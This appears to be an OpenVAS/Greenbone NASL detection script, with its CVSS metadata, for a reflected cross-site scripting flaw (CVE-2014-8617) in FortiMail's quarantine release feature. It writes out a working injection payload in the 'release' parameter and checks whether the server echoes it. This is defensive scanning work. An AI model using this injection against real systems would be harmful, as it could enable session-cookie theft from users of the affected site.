CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
60.8%
Fortinet FortiMail is prone to a XSS vulnerability
because it fails to properly sanitize user-supplied input.
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CPE = "cpe:/a:fortinet:fortimail";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105239");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_version("2022-04-14T06:42:08+0000");
script_cve_id("CVE-2014-8617");
script_name("Fortinet FortiMail Web Action Quarantine Release Feature XSS Vulnerability (FG-IR-15-005)");
script_xref(name:"URL", value:"https://www.fortiguard.com/psirt/FG-IR-15-005");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72820");
script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker
to steal cookie-based authentication credentials and launch other attacks.");
script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response");
script_tag(name:"insight", value:"The application does not validate the parameter 'release' in
'/module/releasecontrol?release='.");
script_tag(name:"solution", value:"Updates are available.");
script_tag(name:"summary", value:"Fortinet FortiMail is prone to a XSS vulnerability
because it fails to properly sanitize user-supplied input.");
script_tag(name:"affected", value:"FortiMail version 5.2.1.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"last_modification", value:"2022-04-14 06:42:08 +0000 (Thu, 14 Apr 2022)");
script_tag(name:"creation_date", value:"2015-03-18 13:18:03 +0100 (Wed, 18 Mar 2015)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2015 Greenbone Networks GmbH");
script_dependencies("gb_fortimail_consolidation.nasl");
script_mandatory_keys("fortinet/fortimail/detected");
script_require_ports("Services/www", 443);
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
vt_strings = get_vt_strings();
url = dir + '/module/releasecontrol?release=1:aaa:aaaaaaa<script>alert(/' + vt_strings["default"] + '/)</script>';
if( http_vuln_check( port:port, url:url, pattern:"<script>alert\(/" + vt_strings["default"] + "/\)</script>", check_header:TRUE ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );